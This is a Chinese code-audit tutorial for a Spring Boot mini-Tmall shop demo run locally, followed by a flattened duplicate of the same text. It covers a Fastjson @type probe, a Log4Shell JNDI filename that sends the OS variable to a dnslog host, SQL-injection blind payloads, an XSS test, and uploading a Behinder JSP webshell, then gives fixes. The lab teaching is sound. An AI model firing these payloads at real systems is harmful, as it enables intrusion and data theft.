java代码审计:tmall购物网站审计
字数 1970 2025-08-11 23:05:55

迷你天猫商城Java代码审计教学文档

一、项目概述

迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,模拟天猫商城的购物流程,包含用户注册、登录、商品浏览、购物车、下单、收货、评价等功能。后台管理系统包含商品管理、订单管理、类别管理、用户管理和交易额统计等模块。

项目地址:https://gitee.com/project_team/Tmall_demo

二、环境搭建

环境要求

  • Windows 10系统
  • Java 1.8.0_261
  • MySQL 5.7
  • IDEA(任意版本)

部署流程

  1. 创建数据库tmalldemodb
  2. 导入/sqls/tmalldemodb.sql数据
  3. 使用IDEA打开项目,等待Maven加载依赖
  4. 修改src/main/resources/application.properties配置文件
  5. 启动项目
    • 前台地址:http://127.0.0.1:8088/tmall
    • 后台地址:http://127.0.0.1:8088/tmall/admin

三、组件漏洞审计

3.1 Fastjson反序列化漏洞

组件版本:1.2.58

漏洞验证方法

  1. 全局搜索JSON.parse()JSON.parseObject()
  2. ProductController.java中发现多处JSON.parseObject()调用(151、257、281行)

黑盒验证

  1. 构造URL:http://127.0.0.1:8088/tmall/admin/product
  2. 使用Burp Collaborator构造POC:
    {"@type":"java.net.Inet4Address","val":"nnebxkajwel1tdw8ssiocv9ncei46t.oastify.com"}
    
  3. 将POC粘贴到propertyJson字段发送

3.2 Log4j反序列化漏洞

组件版本:2.10.0(存在CVE-2021-44228)

漏洞验证方法

  1. 确认引入了log4j-core
  2. 全局搜索logger关键字
  3. AccountController.java中发现漏洞点:
    logger.info("获取图片原始文件名:{}", originalFileName);
    

黑盒验证

  1. 修改上传文件名:
    filename="${jndi:ldap://${env:OS}.b0gbfq.dnslog.cn}"
    

3.3 MyBatis SQL注入

组件版本:3.5.1

漏洞验证方法

  1. 全局搜索$符号
  2. 在Mapper文件中查找SQL拼接
  3. 定位到orderBy参数可控

黑盒验证

  1. 构造URL:http://localhost:8088/tmall/admin/user/1/1
  2. 测试Payload:
    • orderBy=rand(1=1) vs orderBy=rand(1=2)
    • orderBy=updatexml(1,if(1=1,1,user()),1) vs orderBy=updatexml(1,if(1=2,1,user()),1)
    • 时间盲注:orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))

四、业务逻辑漏洞

4.1 存储型XSS

审计方法

  1. 检查全局过滤器(未发现XSS过滤)
  2. 搜索update方法
  3. 定位到admin_nickname参数回显

黑盒验证

  1. 插入Payload:<script>alert(1);</script>

4.2 任意文件上传

审计方法

  1. 检查文件上传功能(管理员头像上传)
  2. 分析AccountController.java中的uploadAdminHeadImage方法
  3. 发现仅检查文件后缀名但未限制文件内容

黑盒验证

  1. 上传JSP木马文件
  2. 修改请求:
    • 修改filename.jsp
    • 修改Content-Typetext/plain
    • 插入冰蝎木马内容
  3. 访问上传的JSP文件路径

五、Fortify扫描结果分析

  1. 反射型XSS:多为误报,参数不可控
  2. KeyManagement:JS中的key,非真实密钥
  3. Open Redirect:参数不可控,不存在URL跳转
  4. Password泄露:匹配到password关键字但非真实泄露
  5. SQL注入:已确认存在
  6. 弱加密:前端JSP存在AES弱加密
  7. 密码管理:数据库密码明文配置

六、修复建议

  1. Fastjson:升级至最新安全版本
  2. Log4j:升级至2.15.0+或设置log4j2.formatMsgNoLookups=true
  3. MyBatis:使用#{}替代${}进行SQL参数绑定
  4. XSS防护:添加全局过滤器对输入输出进行转义
  5. 文件上传:限制上传文件类型,检查文件内容
  6. 密码存储:使用加密存储数据库密码

七、审计工具推荐

  1. IDEA插件:Free Mybatis plugin
  2. 测试工具:BurpSuite专业版(含Collaborator功能)
  3. Webshell管理:冰蝎(Behinder)
迷你天猫商城Java代码审计教学文档 一、项目概述 迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,模拟天猫商城的购物流程,包含用户注册、登录、商品浏览、购物车、下单、收货、评价等功能。后台管理系统包含商品管理、订单管理、类别管理、用户管理和交易额统计等模块。 项目地址:https://gitee.com/project_ team/Tmall_ demo 二、环境搭建 环境要求 Windows 10系统 Java 1.8.0_ 261 MySQL 5.7 IDEA(任意版本) 部署流程 创建数据库 tmalldemodb 导入 /sqls/tmalldemodb.sql 数据 使用IDEA打开项目,等待Maven加载依赖 修改 src/main/resources/application.properties 配置文件 启动项目 前台地址:http://127.0.0.1:8088/tmall 后台地址:http://127.0.0.1:8088/tmall/admin 三、组件漏洞审计 3.1 Fastjson反序列化漏洞 组件版本 :1.2.58 漏洞验证方法 : 全局搜索 JSON.parse() 和 JSON.parseObject() 在 ProductController.java 中发现多处 JSON.parseObject() 调用(151、257、281行) 黑盒验证 : 构造URL:http://127.0.0.1:8088/tmall/admin/product 使用Burp Collaborator构造POC: 将POC粘贴到 propertyJson 字段发送 3.2 Log4j反序列化漏洞 组件版本 :2.10.0(存在CVE-2021-44228) 漏洞验证方法 : 确认引入了 log4j-core 全局搜索 logger 关键字 在 AccountController.java 中发现漏洞点: 黑盒验证 : 修改上传文件名: 3.3 MyBatis SQL注入 组件版本 :3.5.1 漏洞验证方法 : 全局搜索 $ 符号 在Mapper文件中查找SQL拼接 定位到 orderBy 参数可控 黑盒验证 : 构造URL:http://localhost:8088/tmall/admin/user/1/1 测试Payload: orderBy=rand(1=1) vs orderBy=rand(1=2) orderBy=updatexml(1,if(1=1,1,user()),1) vs orderBy=updatexml(1,if(1=2,1,user()),1) 时间盲注: orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 四、业务逻辑漏洞 4.1 存储型XSS 审计方法 : 检查全局过滤器(未发现XSS过滤) 搜索 update 方法 定位到 admin_nickname 参数回显 黑盒验证 : 插入Payload: <script>alert(1);</script> 4.2 任意文件上传 审计方法 : 检查文件上传功能(管理员头像上传) 分析 AccountController.java 中的 uploadAdminHeadImage 方法 发现仅检查文件后缀名但未限制文件内容 黑盒验证 : 上传JSP木马文件 修改请求: 修改 filename 为 .jsp 修改 Content-Type 为 text/plain 插入冰蝎木马内容 访问上传的JSP文件路径 五、Fortify扫描结果分析 反射型XSS :多为误报,参数不可控 KeyManagement :JS中的key,非真实密钥 Open Redirect :参数不可控,不存在URL跳转 Password泄露 :匹配到password关键字但非真实泄露 SQL注入 :已确认存在 弱加密 :前端JSP存在AES弱加密 密码管理 :数据库密码明文配置 六、修复建议 Fastjson :升级至最新安全版本 Log4j :升级至2.15.0+或设置 log4j2.formatMsgNoLookups=true MyBatis :使用 #{} 替代 ${} 进行SQL参数绑定 XSS防护 :添加全局过滤器对输入输出进行转义 文件上传 :限制上传文件类型,检查文件内容 密码存储 :使用加密存储数据库密码 七、审计工具推荐 IDEA插件 :Free Mybatis plugin 测试工具 :BurpSuite专业版(含Collaborator功能) Webshell管理 :冰蝎(Behinder)